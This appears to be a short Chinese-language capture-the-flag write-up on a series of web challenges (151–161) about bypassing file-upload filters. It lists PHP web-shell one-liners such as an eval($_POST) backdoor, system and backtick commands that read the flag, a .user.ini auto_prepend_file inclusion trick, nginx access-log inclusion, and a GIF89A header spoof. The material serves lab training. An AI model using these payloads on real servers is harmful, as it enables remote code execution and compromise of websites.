• WEB151

 

 

 抓包改个名字即可

 

  • WEB152

同上,随便传个图片马

 

  • WEB153

考点是.user.ini

注意上传图片目录下有个index.php 即/upload/index.php

首先上传一个1.png图片马

上传auto_prepend_file = 1.png 的.user.ini

这样.user.ini所在目录会全部的文件包含1.png

 

  • WEB154

同上过滤了php

一句话木马可以写成：<?=    ?>等价于echo

 

  • WEB155

同上

 

  • WEB156

同上

过滤了[] 可以用{}

<?=eval（$_POST{attack});?>

 

  • WEB157

继续过滤了{}和；

那就直接不用一句话木马，直接system('cat flag.ph*')

 

  • WEB 158/159

同上，用<?= `cat ../f*`?>

 

  • WEB160

过滤了括号和反引号，所以不好上传指令

所以用.user.ini 包含图片

图片包含日志

<?=include"/var/lo"."g/nginx/access.lo"."g"?>

这里不能.user.ini直接包含日志，原因上面说了

另外这里过滤了log所以要拼接一下

 

  • WEB161

对文件头检测，

GIF89A用来绕过检测